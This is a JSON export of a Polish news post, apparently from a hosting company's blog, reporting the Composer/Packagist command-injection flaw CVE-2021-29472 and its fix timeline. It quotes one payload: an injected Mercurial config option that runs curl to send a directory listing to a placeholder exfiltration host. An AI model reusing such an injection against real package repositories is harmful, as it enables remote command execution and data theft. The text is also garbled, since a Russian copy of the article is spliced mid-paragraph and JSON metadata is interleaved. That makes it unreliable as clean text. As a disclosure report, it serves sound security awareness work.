W mened\u017cerze zale\u017cno\u015bci Composer wykryto krytyczn\u0105 luk\u0119 (CVE-2021-29472), kt\u00f3ra umo\u017cliwia wykonywanie dowolnych polece\u0144 w systemie podczas przetwarzania pakietu ze specjalnie spreparowan\u0105 warto\u015bci\u0105 URL okre\u015blaj\u0105c\u0105 adres pobierania kodu \u017ar\u00f3d\u0142owego. Problem wyst\u0119puje w komponentach GitDriver, SvnDriver i HgDriver, u\u017cywanych przy pracy z systemami kontroli wersji Git, Subversion i Mercurial. Luka zosta\u0142a usuni\u0119ta w wydaniach Composer 1.10.22 oraz 2.0.13. <\/p>\n
Szczeg\u00f3lnie podkre\u015bla si\u0119, \u017ce problem dotyczy\u0142 przede wszystkim domy\u015blnego repozytorium pakiet\u00f3w Packagist u\u017cywanego przez Composer, kt\u00f3re obejmuje 306 tysi\u0119cy pakiet\u00f3w dla programist\u00f3w PHP i obs\u0142uguje miesi\u0119cznie ponad 1,4 miliarda pobra\u0144. W ramach eksperymentu pokazano, \u017ce gdyby atakuj\u0105cy znali t\u0119 luk\u0119, mogliby przej\u0105\u0107 kontrol\u0119 nad infrastruktur\u0105 Packagist oraz wykra\u015b\u0107 dane uwierzytelniaj\u0105ce opiekun\u00f3w pakiet\u00f3w lub przekierowa\u0107 pobieranie pakiet\u00f3w na zewn\u0119trzny serwer, dostarczaj\u0105c zmodyfikowane wersje pakiet\u00f3w ze z\u0142o\u015bliwymi zmianami w celu pod\u0142o\u017cenia backdoora podczas instalacji zale\u017cno\u015bci. <\/p>\n
Ryzyko dla u\u017cytkownik\u00f3w ko\u0144cowych jest ograniczone, poniewa\u017c zawarto\u015b\u0107 composer.json jest zazwyczaj okre\u015blana przez samego u\u017cytkownika, a odno\u015bniki do kodu \u017ar\u00f3d\u0142owego s\u0105 przekazywane przy korzystaniu z zewn\u0119trznych repozytori\u00f3w, kt\u00f3re zwykle s\u0105 zaufane. Najbardziej ucierpia\u0142y repozytorium Packagist.org i us\u0142uga Private Packagist, kt\u00f3re uruchamiaj\u0105 Composer z przekazaniem danych otrzymanych od u\u017cytkownik\u00f3w. Atakuj\u0105cy mogli wykona\u0107 w\u0142asny kod na serwerach Packagist, publikuj\u0105c specjalnie spreparowany pakiet. <\/p>\n
Zesp\u00f3\u0142 Packagist usun\u0105\u0142 luk\u0119 w ci\u0105gu 12 godzin od otrzymania zg\u0142oszenia. Badacze prywatnie powiadomili deweloper\u00f3w Packagist 22 kwietnia i jeszcze tego samego dnia problem zosta\u0142 naprawiony. Publiczn\u0105 aktualizacj\u0119 Composer usuwaj\u0105c\u0105 luk\u0119 opublikowano 27 kwietnia, a szczeg\u00f3\u0142y ujawniono 28 kwietnia. Audyt log\u00f3w na serwerach Packagist nie wykaza\u0142 \u017cadnej podejrzanej aktywno\u015bci zwi\u0105zanej z t\u0105 luk\u0105. <\/p>\n
Problem wynika z b\u0142\u0119du w kodzie walidacji URL w g\u0142\u00f3wnym pliku composer.json oraz w odno\u015bnikach do pobierania \u017ar\u00f3de\u0142. B\u0142\u0105d ten wyst\u0119puje w kodzie od listopada 2011 roku. W Packagist w celu organizacji pobierania kodu bez powi\u0105zania z konkretnym systemem zarz\u0105dzania \u017ar\u00f3d\u0142ami stosowane s\u0105 specjalne warstwy, kt\u00f3re wykonuj\u0105 si\u0119 za pomoc\u0105 wywo\u0142ania \u00abfromShellCommandline\u00bb z przekazaniem argument\u00f3w wiersza polece\u0144. Na przyk\u0142ad dla gita wywo\u0142uje si\u0119 polecenie \u00abgit ls-remote \u2014heads $URL\u00bb, gdzie URL jest przetwarzany przy pomocy metody \u00abProcessExecutor::escape($url)\u00bb, kt\u00f3ra eskapuje potencjalnie niebezpieczne konstrukcje, takie jak \u00ab$(…)\u00bb lub \u00ab`…`\u00bb. <\/p>\n
Istota problemu polega na tym, \u017ce metoda ProcessExecutor::escape nie eskapowa\u0142a sekwencji \u00ab\u2014\u00bb, co pozwala\u0142o na dodanie do URL dowolnego dodatkowego parametru wywo\u0142ania. Podobne eskapowanie by\u0142o nieobecne w sterownikach GitDriver.php, SvnDriver.php i HgDriver.php. Atak poprzez GitDriver.php uniemo\u017cliwia\u0142o to, \u017ce polecenie \u00abgit ls-remote\u00bb nie wspiera\u0142o podawania dodatkowych argument\u00f3w po \u015bcie\u017cce. Mo\u017cliwy by\u0142 atak na HgDriver.php poprzez przekazanie parametru \u00ab\u2014config\u00bb do narz\u0119dzia \u00abhq\u00bb, umo\u017cliwiaj\u0105cego wykonanie dowolnego polecenia poprzez manipulacj\u0119 ustawieniem \u00abalias.identify\u00bb. Na przyk\u0142ad, aby pobra\u0107 i wykona\u0107 kod za pomoc\u0105 uruchomienia narz\u0119dzia curl, mo\u017cna by\u0142o okre\u015bli\u0107: \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\" <\/p>\n
Po opublikowaniu w Packagist testowego pakietu z takim URL badacze potwierdzili, \u017ce po jego umieszczeniu na ich serwer trafi\u0142o \u017c\u0105danie HTTP z jednego z serwer\u00f3w<\/a> serwer\u00f3w Packagist w AWS, zawieraj\u0105ce list\u0119 plik\u00f3w w bie\u017c\u0105cym katalogu. \u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Luka w mened\u017cerze pakiet\u00f3w Composer umo\u017cliwiaj\u0105ca naruszenie bezpiecze\u0144stwa repozytorium PHP Packagist | ProHoster","description":"W mened\u017cerze zale\u017cno\u015bci Composer wykryto krytyczn\u0105 luk\u0119 (CVE-2021-29472), kt\u00f3ra umo\u017cliwia wykonanie dowolnych polece\u0144 w systemie podczas przetwarzania pakietu ze specjalnie spreparowan\u0105 warto\u015bci\u0105 URL, kt\u00f3ra okre\u015bla.","canonical_url":"https:\/\/prohoster.info\/pl\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pl_PL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c.","og:url":"https:\/\/prohoster.info\/pl\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n
\u0179r\u00f3d\u0142o: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"